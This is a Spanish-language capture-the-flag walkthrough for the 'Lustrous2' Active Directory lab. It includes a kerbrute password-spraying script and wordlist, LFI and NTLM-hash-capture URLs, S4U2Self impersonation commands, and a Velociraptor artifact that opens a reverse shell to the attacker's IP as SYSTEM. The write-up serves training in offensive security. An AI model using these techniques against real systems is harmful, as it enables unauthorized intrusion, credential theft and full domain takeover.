NMAP


Puertos y Servicios disponibles en el Target.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
21/tcp   open  ftp
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5357/tcp open wsdapi

FOOTHOLD


Puerto 21 | FTP

En el Puerto 21 (FTP), observo que si pruebo el login con un user ‘anonymous’ es valido:

1
ftp anonymous@lustrous2.vl


Al enumerar folders, obtengo usuarios dentro de la carpeta HOMES$ y en especial una hint, en el archivo audit.txt, diciendo que las passwords de los usuarios son débiles. Esto nos da la idea que vamos a tener que bruteforcear usuarios..

1
2
3
4
5
6
7
8
Audit Report Issue Tracking

[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled

[Open] Weak User Passwords

Genero un custom wordlist para Kerbrute

Me creo el siguiente script en bash el cual mediante kerbrute va a bruteforcear con un custom wordlist de contraseñas a los usuarios que obtuve desde la carpeta en el FTP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/bin/bash

users="users.txt"
passwd="custom_wordlist.txt"
DC="lus2dc.lustrous2.vl"
domain="lustrous2.vl"

if [[ ! -f "$users" ]]; then
echo "El archivo $users no existe."
exit 1
fi

if [[ ! -f "$passwd" ]]; then
echo "El archivo $passwd no existe."
exit 1
fi


while read -r usuario; do
echo "Checking user: $usuario@$domain"
kerbrute bruteuser --dc "$DC" -d "$domain" "$passwd" "$usuario@$domain" -v

if [[ $? -ne 0 ]]; then
echo "Error: $usuario@$domain"
fi

echo "Finished: $usuario@$domain"
echo "-------------------------------------"

done < "$users"
echo "Finished"

Este es parte del wordlist de las contraseñas generadas para bruteforcear los users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
password123
Password2024
Password2023
lustrous2
Lustrous2!
Lustrous2024
Welcome2024
Welcome123
Welcome!
User123
User2024
Qwerty123
Qwerty2024
123456
Password1
Password!
Spring2024
Winter2024
Summer2024
Autumn2024
Administrator2024
Admin2024
Guest2024
Ryan123
Ryan2024
Emma123
Emma2024
Aaron123
Aaron2024
Moore2024
Bell2024
Norman2024

Credenciales encontradas

Con el custom wordlist, logro dar con 2 nuevas credenciales:

1
2
[+] VALID LOGIN:	 Terence.Jordan@lustrous2.vl:<REDACTED>
[+] VALID LOGIN: Thomas.Myers@lustrous2.vl:<REDACTED>

Extraigo datos desde LDAP’s (port 636).

Desde LDAP Signed, en el puerto 636, logro obtener información valiosa del AD que me va a ser de mayor utilidad luego:

1
ldapsearch -x -H ldaps://lustrous2.vl:636 -D "Terence.Jordan@lustrous2.vl" -w '<REDACTED>' -b "DC=lustrous2,DC=vl" -o tls_reqcert=never >ldap_outfile.txt

Kerberos Authentication en Linux

Tenemos que definir como va a comunicarse nuestra maquina Linux con la autenticación Kerberos, y esto es editando el archivo /etc/krb5.conf:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[libdefaults]
default_realm = LUSTROUS2.VL
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
fcc-mit-ticketflags = true
dns_canonicalize_hostname = false
dns_lookup_realm = false
dns_lookup_kdc = true
k5login_authoritative = false
[realms]
LUSTROUS2.VL = {
kdc = lustrous2.vl
admin_server = lustrous2.vl
default_admin = lustrous2.vl
}
[domain_realm]
.lustrous2.vl = LUSTROUS2.VL

Una vez hecho esto, chequeo si funciona solicitando un ticket con getTGT.py de impacket:

1
getTGT.py lustrous2.vl/Thomas.Myers:'<REDACTED>' -dc-ip 10.10.109.207
1
export KRB5CCNAME=xxxxxxx.ccache
1
curl --negotiate -u : http://lus2dc.lustrous2.vl -v

Configurando Firefox para autenticarse con Kerberos

Al parecer funciono todo bien, pero es algo incomodo gestionar todo con el curl por lo que vamos a configurar Firefox para acceder y autenticar correctamente. Donde exporte el ticket en la consola bash ejecuto firefox:


1
firefox

Una vez en el browser en la barra de direcciones:

1
about:config

Y seteo cada uno de los siguientes valores:

1
2
3
4
network.negotiate-auth.trusted-uris --> .lustrous2.vl
network.negotiate-auth.delegation-uris --> .lustrous2.vl
network.negotiate-auth.using-native-gsslib --> True


Una vez configurado esto podemos reiniciar firefox y volverlo a abrirlo desde desde la consola que exporte el ticket.


LFI via WEB

Como vemos en la web tenemos un archivo para descargar que previamente lo pudimos visualizar desde el FTP como usuario anonymous.


Lo interesante de este link de descarga es que a simple vista encontramos un potencial LFI, lo compruebo al tratar de obtener el archivo hosts del servidor windows:

1
http://lus2dc.lustrous2.vl/File/Download?fileName=C:/Windows/System32/drivers/etc/hosts


SMB_SERVER

Contando con este vector de ataque, se me ocurrió que podía intentar sacar un nuevo hash de la cuenta de servicio que se estaba ejecutando detras del LuShare, por lo que levanto mi SMB Server y trato de que acceda al recurso de mi maquina:


http://lus2dc.lustrous2.vl/File/Download?fileName=\\10.8.0.147\\foo



Efectivamente recibo conexion y me permite sacar el hash, el cual procedo a crackearlo con rockyou.txt.


Obteniendo un nuevo ticket como ShareSvc

Vamos a solicitar nuevamente con getTGT un ticket pero esta vez para ShareSvc.

1
getTGT.py lustrous2.vl/ShareSvc:'<REDACTED>' -dc-ip 10.10.109.207

Y si accedemos via curl para testear, observamos que funciona y nos autentica:


Volviendo al LFI

Aunque haya sacado credenciales de ShareSvc estoy en la misma situation del principio en el cual no posee ningún archivo extra, respecto a los otros usuarios que tenia acceso, por lo que si vuelvo al punto del LFI pero esta vez enfocándome en el IIS y en tratar de obtener archivos relevantes del mismo. Entre ellos apunto al web.config.

(El web.config de IIS es un archivo de configuración XML que define reglas y configuraciones para aplicaciones web en un servidor IIS, como seguridad, autenticación, rutas y módulos):

1
http://lus2dc.lustrous2.vl/File/Download?fileName=../../web.config


Vemos dentro de la config que apunta a un archivo dll llamado LuShare.dll que suena interesante, vamos a descargarlo con el LFI:

1
http://lus2dc.lustrous2.vl/File/Download?fileName=../../LuShare.dll

Decompilando el LuShare.dll

Analizando el dll con DNSPY, veo que este atributo en el código está aplicando una restricción de acceso basada en roles. Significa que solo los usuarios que pertenecen al rol ShareAdmins pueden ejecutar estos métodos. Cualquier intento de acceso a estos métodos sin ser parte de este rol resultará en un Forbidden.



Este método es crucial y potencialmente peligroso. Permite ejecutar comandos de Powershell en el servidor con la condición de que se provea un comando y un PIN válido (ba45c518 en este caso).

  • Verificación del PIN: Antes de ejecutar cualquier comando, se valida que el PIN coincida con el valor hardcodeado.


Para abusar de estas funciones, podría intentar obtener acceso a una cuenta con el rol ShareAdmins, veamos cuales son los usuarios que poseen este rol, con una rapida busqueda nuevamente con ldapsearch veo dos users potenciales:


- Sharon.Birch
- Ryan.Davies

S4U2Self Abuse

S4U2Self (Service for User to Self) es una extensión del protocolo Kerberos que permite a un servicio autenticado solicitar un ticket de servicio (TGS) en nombre de un usuario específico sin necesidad de la contraseña del usuario.

Basicamentes como decirle a un servicio “hacete pasar por tal usuario” sin pedirle la contraseña. Si tenés permisos en el dominio, podés usarlo para actuar como otro usuario y acceder a cosas que normalmente no podrías.

Es lo que hare en este caso impersonando a Sharon.Birch:

1
getST.py -self -impersonate "Sharon.Birch" -altservice "HTTP/lus2dc.lustrous2.vl" -k -no-pass -dc-ip "10.10.109.207" "Lustrous2.vl/ShareSvc"


Lo exporto y verifico con klist:

1
export KRB5CCNAME=Sharon.Birch@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache


Si ahora abro el firefox desde la consola que exporte el certificado de Sharon:

Somos Sharon.Birch. Y tenemos disponible la funcionalidad de upload que habiamos visto previamente en el LuShare.dll, la cual estaba restringida por el rol de ShareAdmins.


Funcion “DEBUG”

Entre otras de las funciones que figuraba enn el LuShare.dll estaba la funcion de DEBUG, la cual permitia mediante un PIN hardcodeado la ejecucion de comandos en Powershell.
Tambien vemos que solo permite la ejecucion hasta 100 chars. Mas nos da error.
Hagamos la prueba con un simple comando “DIR” y el PIN.


Funciona!, y obtenemos el listado de directorios y archivos actuales:


USER FLAG

Bueno antes de intentar darnos una revshell, podemos catear el user y sacar la flag localizada en la raiz de C:\.

Descargo el RCAT (by xct) en la victima y dejo un puerto a la escucha en la maquina atacante para obtener una revshell sin complicaciones.


Velociraptor Abuse

Enumerando ni bien tome la flag, me llamo la atencion esta carpeta instantaneamente:



Velociraptor es una herramienta para hacer respuesta a incidentes y análisis forense en una red. Te deja monitorear, investigar y ejecutar comandos en sistemas comprometidos. Tiene varios componentes:


  • Hunts: Búsquedas forenses automáticas para recolectar datos.
  • Artifacts: Plantillas para definir qué datos buscar y cómo.
  • Server: Centraliza la gestión y los datos recolectados.
  • Client: Agente que corre en cada máquina y ejecuta los comandos que le manda el servidor.

Verificando la documentacion oficial veo que escucha en el puerto 8889, por lo que si chequeo esto confirmo que en la maquina esta en estado de LISTENING.


Velociraptor Port Forwarding

Para trabajar mas cómodo utilizo SLIVER C2 y me hago un forward con SOCKS5 + ProxyChain:


Logro acceder al framework desde firefox con credenciales de operator. (Para ser sincero probe todos los users y passwords iguales y funciono)


Exploiting Velociraptor via Artifacts

Despues de leer un buen rato y tras prueba y error con la documentacion oficial, el siguiente link me fue de mucha utilidad: https://docs.velociraptor.app/artifact_references/pages/windows.system.cmdshell/

Resaltando lo siguiente:


El plan es crear un nuevo Artifact, luego seleccionar un hunter y aplicarle ese artifact que creamos para lanzarlo y obtener una shell privilegiada.

Basandome en el template de la documentacion creo lo siguiente (aprovechando el rcat.exe que esta en ProgramData):

Artifact creado: SHKZ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
name: SHKZ
description: G1ve m3 SHell Plz


precondition:
SELECT OS From info() where OS = 'windows'

parameters:
- name: Command
default: "C:\\ProgramData\\rcat.exe connect 10.8.0.147 8000"

sources:
- query: |
SELECT * FROM execve(argv=["cmd.exe", "/c", Command])

Luego me dirijo a agregar un Hunter y le asigno el Artifact que cree (SHKZ):


Por ultimo le doy a LAUNCH y en segundos obtenemos la shell como SYSTEM


Finalmente Pwn3d!
shkz.